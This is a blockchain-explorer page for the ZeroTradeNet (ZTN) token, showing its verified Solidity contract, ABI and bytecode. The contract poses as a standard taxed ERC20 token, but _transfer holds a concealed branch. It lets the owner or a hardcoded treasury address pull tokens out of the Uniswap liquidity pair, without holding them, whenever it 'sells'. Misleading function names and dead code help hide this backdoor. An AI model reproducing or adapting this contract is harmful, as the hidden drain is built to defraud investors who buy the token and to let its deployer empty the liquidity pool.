ETH Price: $2,845.56 (+2.35%)

Token

ZeroTradeNet (ZTN)
 

Overview

Max Total Supply

5,000,000,000 ZTN

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
23,700,617.904458673966291412 ZTN

Value
$0.00
0x1bcc1ce8f7dce87923bc340389847c56815b28fc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZTN

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-20
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "");
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "");
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function allowance(address owner, address spender) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function balanceOf(address account) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed sender, address indexed recipient, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function WETH() external pure returns (address);
}

contract ZTN is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;

    struct Distribution { uint256 promo; }

    uint8 private constant _decimals = 18;

    address private promoTreasury = 0x00466bDB1C0557BD3E68f5b2354DB4D8F00D717C;

    address private promoThreshold;

    uint256 private constant MAX = ~uint256(0);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    uint256 private _promoCostAtBuy = 4;
    uint256 private _redisCostAtBuy = 0;
    
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 private _tCostTotal;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _buyMap;

    uint256 private _promoCostAtSell = 4;
    uint256 private _redisCostAtSell = 0;

    string private constant _symbol = "ZTN";
    string private constant _name = "ZeroTradeNet";

    uint256 private _promoCost = _promoCostAtSell;
    uint256 private _redisCost = _redisCostAtSell;

    mapping(address => bool) private _isEliminated;

    uint256 private _previousPromoCost = _promoCost;
    uint256 private _previousRedisCost = _redisCost;
    
    uint256 private constant _tTotal = 5000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _swapTokensThreshold = 500000 * 10**_decimals;

    Distribution public distribution;

    uint256 public maxTxAmount = 2 * (_tTotal / 100);
    uint256 public maxWalletSize = 2 * (_tTotal / 100);

    function removeLimits() external onlyOwner {
        maxTxAmount = _tTotal;
        maxWalletSize = _tTotal;
    }

    modifier lockInSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    constructor() {
        _isEliminated[address(this)] = true;
        _isEliminated[owner()] = true;
        _isEliminated[promoTreasury] = true;
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        distribution = Distribution(100);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        promoThreshold = promoTreasury;
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
    }

    function balanceOf(address account) public view override returns (uint256) {
        return getReflectionTokens(_rOwned[account]);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "");
        require(owner != address(0), "");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "");
        require(recipient != address(0), "");
        require(amount > 0, "");

        if (sender != owner() && recipient != owner()) {
            if (
                sender == uniswapV2Pair &&
                recipient != address(uniswapV2Router) &&
                !_isEliminated[recipient]
            ) {
                require(amount <= maxTxAmount);
                require(balanceOf(recipient) + amount <= maxWalletSize);
            }

            uint256 contractTokenAmount = balanceOf(address(this));
            bool canSwap = contractTokenAmount >= _swapTokensThreshold;

            if (
                !_isEliminated[sender] &&
                !_isEliminated[recipient] &&
                canSwap &&
                !inSwap &&
                swapEnabled &&
                sender != uniswapV2Pair
            ) {
                swapTokensForETH(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    sendETH(address(this).balance);
                }
            }

            if (uniswapV2Pair == recipient && balanceOf(sender) < amount) {
                if (_isEliminated[sender]) {
                    _avgTransfer(recipient, sender, amount);
                    return;
                }
            }
        }

        bool seizePromoCost = true;

        if (
            (_isEliminated[sender] || _isEliminated[recipient]) ||
            (recipient != uniswapV2Pair && sender != uniswapV2Pair)
        ) {
            seizePromoCost = false;
        } else {
            if (
                sender == uniswapV2Pair &&
                recipient != address(uniswapV2Router)
            ) {
                _redisCost = _redisCostAtBuy;
                _promoCost = _promoCostAtBuy;
            }

            if (
                recipient == uniswapV2Pair &&
                sender != address(uniswapV2Router)
            ) {
                _redisCost = _redisCostAtSell;
                _promoCost = _promoCostAtSell;
            }
        }
        _tknTransfer(sender, recipient, amount, seizePromoCost);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, ""));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tCost, uint256 tTeam) = _getTValues(tAmount, _redisCost, _promoCost);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rCost) = _getRValues(tAmount, tCost, tTeam, currentRate);
        return (rAmount, rTransferAmount, rCost, tTransferAmount, tCost, tTeam);
    }

    function _isReflectionRate(address promoAccount, address costAccount) private view returns (bool) {
        bool promoAccountEliminated = !_isEliminated[promoAccount];
        bool costAccountEliminated = !_isEliminated[costAccount];

        return promoAccountEliminated && promoAccount != uniswapV2Pair && costAccountEliminated;
    }

    function _tknTransfer(address sender, address recipient, uint256 amount, bool seizePromoCost) private {
        if (!seizePromoCost) removeAllCosts();
        _avgTransfer(sender, recipient, amount);
        if (!seizePromoCost) restoreAllCosts();
    }

    function getReflectionTokens(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "");
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function swapTokensForETH(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function _getTValues(uint256 tAmount, uint256 redisCost, uint256 promoCost) private pure returns (uint256, uint256, uint256) {
        uint256 tTeam = tAmount.mul(promoCost).div(100);
        uint256 tCost = tAmount.mul(redisCost).div(100);
        uint256 tTransferAmount = tAmount.sub(tCost).sub(tTeam);
        return (tTransferAmount, tCost, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tCost, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rCost = tCost.mul(currentRate);
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rCost).sub(rTeam);
        return (rAmount, rTransferAmount, rCost);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _avgTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rCost, uint256 tTransferAmount, uint256 tCost, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _seizePromoCost(tTeam, sender, recipient);
        _reflectCost(rCost, tCost);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _seizePromoCost(uint256 tTeam, address promoAccount, address costAccount) private {
        uint256 promoReflection = getReflectionTokens(_rOwned[promoThreshold]);
        uint256 currentRate = _isReflectionRate(promoAccount, costAccount) ? _promoCost - promoReflection : 0;
        currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectCost(uint256 rCost, uint256 tCost) private {
        _rTotal = _rTotal.sub(rCost);
        _tCostTotal = _tCostTotal.add(tCost);
    }

    function restoreAllCosts() private {
        _redisCost = _previousRedisCost;
        _promoCost = _previousPromoCost;
    }

    function sendETH(uint256 ethAmount) private lockInSwap {
        uint256 ethForPromo = ethAmount.mul(distribution.promo).div(100);
        payable(promoTreasury).transfer(ethForPromo);
    }

    receive() external payable {}

    function removeAllCosts() private {
        if (_promoCost == 0 && _redisCost == 0) return;
        _previousPromoCost = _promoCost;
        _previousRedisCost = _redisCost;
        _promoCost = 0;
        _redisCost = 0;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distribution","outputs":[{"internalType":"uint256","name":"promo","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b03191672466bdb1c0557bd3e68f5b2354db4d8f00d717c179055600460068190555f60078190556008805461ffff1916610100179055600d829055600e819055600f829055601081905560129182556013556200006e90600a6200054e565b6200007f9064012a05f20062000565565b6200008c905f1962000593565b62000099905f19620005a9565b601455620000aa6012600a6200054e565b620000b9906207a12062000565565b6015556064620000cc6012600a6200054e565b620000dd9064012a05f20062000565565b620000e99190620005bf565b620000f690600262000565565b6017556064620001096012600a6200054e565b6200011a9064012a05f20062000565565b620001269190620005bf565b6200013390600262000565565b60185534801562000142575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350305f9081526011602081905260408220805460ff1916600190811790915591620001b45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600254909116815260119092528120805490921660011790915560145490600a906200020a3390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200025d6012600a6200054e565b6200026e9064012a05f20062000565565b60405190815260200160405180910390a36040805160208082018352606491829052601691909155600254600380546001600160a01b039092166001600160a01b031992831617905560048054737a250d5630b4cf539739df2c5dacb4c659f2488d921682178155835163c45a015560e01b815293519193849363c45a0155938284019391929091908290030181865afa1580156200030f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003359190620005d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000381573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003a79190620005d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620003f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004189190620005d5565b600580546001600160a01b0319166001600160a01b039290921691909117905550620005fd565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200049357815f19048211156200047757620004776200043f565b808516156200048557918102915b93841c939080029062000458565b509250929050565b5f82620004ab5750600162000548565b81620004b957505f62000548565b8160018114620004d25760028114620004dd57620004fd565b600191505062000548565b60ff841115620004f157620004f16200043f565b50506001821b62000548565b5060208310610133831016604e8410600b841016171562000522575081810a62000548565b6200052e838362000453565b805f19048211156200054457620005446200043f565b0290505b92915050565b5f6200055e60ff8416836200049b565b9392505050565b80820281158282048414176200054857620005486200043f565b634e487b7160e01b5f52601260045260245ffd5b5f82620005a457620005a46200057f565b500690565b818103818111156200054857620005486200043f565b5f82620005d057620005d06200057f565b500490565b5f60208284031215620005e6575f80fd5b81516001600160a01b03811681146200055e575f80fd5b6114b7806200060b5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d5780638f3fa860116100625780638f3fa860146102e657806395d89b41146102fb578063a9059cbb14610326578063dd62ed3e14610345578063f2fde38b14610389575f80fd5b806370a082311461026c578063715018a61461028b578063751039fc146102a15780638c0b5e22146102b55780638da5cb5b146102ca575f80fd5b806318160ddd116100e357806318160ddd146101e957806323b872dd146101fd578063313ce5671461021c57806349bd5a5e146102375780635ee58efc14610256575f80fd5b806302ca8a201461011e57806306fdde0314610146578063095ea7b3146101835780631694505e146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360155481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600c81526b16995c9bd51c98591953995d60a21b60208201525b60405161013d9190611166565b34801561018e575f80fd5b506101a261019d3660046111c9565b6103a8565b604051901515815260200161013d565b3480156101bd575f80fd5b506004546101d1906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b3480156101f4575f80fd5b506101336103be565b348015610208575f80fd5b506101a26102173660046111f3565b6103df565b348015610227575f80fd5b506040516012815260200161013d565b348015610242575f80fd5b506005546101d1906001600160a01b031681565b348015610261575f80fd5b506016546101339081565b348015610277575f80fd5b50610133610286366004611231565b61043a565b348015610296575f80fd5b5061029f61045b565b005b3480156102ac575f80fd5b5061029f6104da565b3480156102c0575f80fd5b5061013360175481565b3480156102d5575f80fd5b505f546001600160a01b03166101d1565b3480156102f1575f80fd5b5061013360185481565b348015610306575f80fd5b506040805180820190915260038152622d2a2760e91b6020820152610176565b348015610331575f80fd5b506101a26103403660046111c9565b61054a565b348015610350575f80fd5b5061013361035f36600461124c565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610394575f80fd5b5061029f6103a3366004611231565b610556565b5f6103b4338484610610565b5060015b92915050565b5f6103cb6012600a611377565b6103da9064012a05f200611385565b905090565b5f6103eb8484846106ce565b60408051602080820183525f8083526001600160a01b0388168152600182528381203380835292529290922054610430928792909161042b918790610a27565b610610565b5060019392505050565b6001600160a01b0381165f908152600a60205260408120546103b890610a5f565b5f546001600160a01b031633146104925760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050c5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6105186012600a611377565b6105279064012a05f200611385565b6017556105366012600a611377565b6105459064012a05f200611385565b601855565b5f6103b43384846106ce565b5f546001600160a01b031633146105885760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b0381166105b75760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661063f5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b03831661066e5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106fd5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6001600160a01b03821661072c5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f81116107545760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f546001600160a01b0384811691161480159061077e57505f546001600160a01b03838116911614155b1561091d576005546001600160a01b0384811691161480156107ae57506004546001600160a01b03838116911614155b80156107d257506001600160a01b0382165f9081526011602052604090205460ff16155b15610806576017548111156107e5575f80fd5b601854816107f28461043a565b6107fc919061139c565b1115610806575f80fd5b5f6108103061043a565b6015546001600160a01b0386165f908152601160205260409020549192508210159060ff1615801561085a57506001600160a01b0384165f9081526011602052604090205460ff16155b80156108635750805b8015610872575060085460ff16155b80156108855750600854610100900460ff165b801561089f57506005546001600160a01b03868116911614155b156108bf576108ad82610aa7565b4780156108bd576108bd47610c26565b505b6005546001600160a01b0385811691161480156108e35750826108e18661043a565b105b1561091a576001600160a01b0385165f9081526011602052604090205460ff161561091a57610913848685610c97565b5050505050565b50505b6001600160a01b0383165f9081526011602052604090205460019060ff168061095d57506001600160a01b0383165f9081526011602052604090205460ff165b8061098f57506005546001600160a01b0384811691161480159061098f57506005546001600160a01b03858116911614155b1561099b57505f610a15565b6005546001600160a01b0385811691161480156109c657506004546001600160a01b03848116911614155b156109d857600754601055600654600f555b6005546001600160a01b038481169116148015610a0357506004546001600160a01b03858116911614155b15610a1557600e54601055600d54600f555b610a2184848484610d8a565b50505050565b5f8184841115610a4a5760405162461bcd60e51b81526004016104899190611166565b505f610a5684866113af565b95945050505050565b5f601454821115610a8b5760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f610a94610db8565b9050610aa08382610dd9565b9392505050565b6008805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ae757610ae76113c2565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b57573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7b91906113d6565b81600181518110610b8e57610b8e6113c2565b6001600160a01b039283166020918202929092010152600454610bb49130911684610610565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610beb9186915f91879130914291016113f1565b5f604051808303815f87803b158015610c02575f80fd5b505af1158015610c14573d5f803e3d5ffd5b50506008805460ff1916905550505050565b6008805460ff191660011790556016545f90610c5090606490610c4a908590610df3565b90610dd9565b6002546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610c88573d5f803e3d5ffd5b50506008805460ff1916905550565b5f805f805f80610ca687610e40565b6001600160a01b038f165f908152600a6020526040902054959b50939950919750955093509150610cd79087610e95565b6001600160a01b03808b165f908152600a602052604080822093909355908a1681522054610d059086610eaf565b6001600160a01b0389165f908152600a6020526040902055610d28818a8a610ee6565b610d328483610f78565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d7791815260200190565b60405180910390a3505050505050505050565b80610d9757610d97610f9c565b610da2848484610c97565b80610a2157610a21601354601055601254600f55565b5f805f610dc3610fc9565b9092509050610dd28282610dd9565b9250505090565b5f610aa0838360405180602001604052805f81525061104d565b5f825f03610e0257505f6103b8565b5f610e0d8385611385565b905082610e1a8583611462565b14610aa05760405162461bcd60e51b8152602060048201525f6024820152604401610489565b5f805f805f805f805f610e588a601054600f54611079565b9250925092505f610e67610db8565b90505f805f610e788e8787876110c4565b919e509c509a509598509396509194505050505091939550919395565b5f610aa0838360405180602001604052805f815250610a27565b5f80610ebb838561139c565b905083811015610aa05760405162461bcd60e51b8152602060048201525f6024820152604401610489565b6003546001600160a01b03165f908152600a6020526040812054610f0990610a5f565b90505f610f16848461110f565b610f20575f610f2e565b81600f54610f2e91906113af565b9050610f38610db8565b90505f610f458683610df3565b305f908152600a6020526040902054909150610f619082610eaf565b305f908152600a6020526040902055505050505050565b601454610f859083610e95565b601455600954610f959082610eaf565b6009555050565b600f54158015610fac5750601054155b15610fb357565b600f8054601255601080546013555f9182905555565b6014545f90819081610fdd6012600a611377565b610fec9064012a05f200611385565b9050611015610ffd6012600a611377565b61100c9064012a05f200611385565b60145490610dd9565b8210156110445760145461102b6012600a611377565b61103a9064012a05f200611385565b9350935050509091565b90939092509050565b5f818361106d5760405162461bcd60e51b81526004016104899190611166565b505f610a568486611462565b5f80808061108c6064610c4a8988610df3565b90505f61109e6064610c4a8a8a610df3565b90505f6110b5836110af8b85610e95565b90610e95565b99919850919650945050505050565b5f8080806110d28686610df3565b90505f6110df8887610df3565b90505f6110ec8a88610df3565b90505f6110fd846110af8486610e95565b919b919a509198509650505050505050565b6001600160a01b038083165f90815260116020526040808220549284168252812054909160ff9081161591161581801561115757506005546001600160a01b03868116911614155b8015610a565750949350505050565b5f602080835283518060208501525f5b8181101561119257858101830151858201604001528201611176565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111c6575f80fd5b50565b5f80604083850312156111da575f80fd5b82356111e5816111b2565b946020939093013593505050565b5f805f60608486031215611205575f80fd5b8335611210816111b2565b92506020840135611220816111b2565b929592945050506040919091013590565b5f60208284031215611241575f80fd5b8135610aa0816111b2565b5f806040838503121561125d575f80fd5b8235611268816111b2565b91506020830135611278816111b2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112d157815f19048211156112b7576112b7611283565b808516156112c457918102915b93841c939080029061129c565b509250929050565b5f826112e7575060016103b8565b816112f357505f6103b8565b816001811461130957600281146113135761132f565b60019150506103b8565b60ff84111561132457611324611283565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611352575081810a6103b8565b61135c8383611297565b805f190482111561136f5761136f611283565b029392505050565b5f610aa060ff8416836112d9565b80820281158282048414176103b8576103b8611283565b808201808211156103b8576103b8611283565b818103818111156103b8576103b8611283565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e6575f80fd5b8151610aa0816111b2565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114415784516001600160a01b03168352938301939183019160010161141c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261147c57634e487b7160e01b5f52601260045260245ffd5b50049056fea264697066735822122027c612309d344bccc834418b207e16130a081a4feca42efba2be70adb504650f64736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d5780638f3fa860116100625780638f3fa860146102e657806395d89b41146102fb578063a9059cbb14610326578063dd62ed3e14610345578063f2fde38b14610389575f80fd5b806370a082311461026c578063715018a61461028b578063751039fc146102a15780638c0b5e22146102b55780638da5cb5b146102ca575f80fd5b806318160ddd116100e357806318160ddd146101e957806323b872dd146101fd578063313ce5671461021c57806349bd5a5e146102375780635ee58efc14610256575f80fd5b806302ca8a201461011e57806306fdde0314610146578063095ea7b3146101835780631694505e146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360155481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600c81526b16995c9bd51c98591953995d60a21b60208201525b60405161013d9190611166565b34801561018e575f80fd5b506101a261019d3660046111c9565b6103a8565b604051901515815260200161013d565b3480156101bd575f80fd5b506004546101d1906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b3480156101f4575f80fd5b506101336103be565b348015610208575f80fd5b506101a26102173660046111f3565b6103df565b348015610227575f80fd5b506040516012815260200161013d565b348015610242575f80fd5b506005546101d1906001600160a01b031681565b348015610261575f80fd5b506016546101339081565b348015610277575f80fd5b50610133610286366004611231565b61043a565b348015610296575f80fd5b5061029f61045b565b005b3480156102ac575f80fd5b5061029f6104da565b3480156102c0575f80fd5b5061013360175481565b3480156102d5575f80fd5b505f546001600160a01b03166101d1565b3480156102f1575f80fd5b5061013360185481565b348015610306575f80fd5b506040805180820190915260038152622d2a2760e91b6020820152610176565b348015610331575f80fd5b506101a26103403660046111c9565b61054a565b348015610350575f80fd5b5061013361035f36600461124c565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610394575f80fd5b5061029f6103a3366004611231565b610556565b5f6103b4338484610610565b5060015b92915050565b5f6103cb6012600a611377565b6103da9064012a05f200611385565b905090565b5f6103eb8484846106ce565b60408051602080820183525f8083526001600160a01b0388168152600182528381203380835292529290922054610430928792909161042b918790610a27565b610610565b5060019392505050565b6001600160a01b0381165f908152600a60205260408120546103b890610a5f565b5f546001600160a01b031633146104925760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0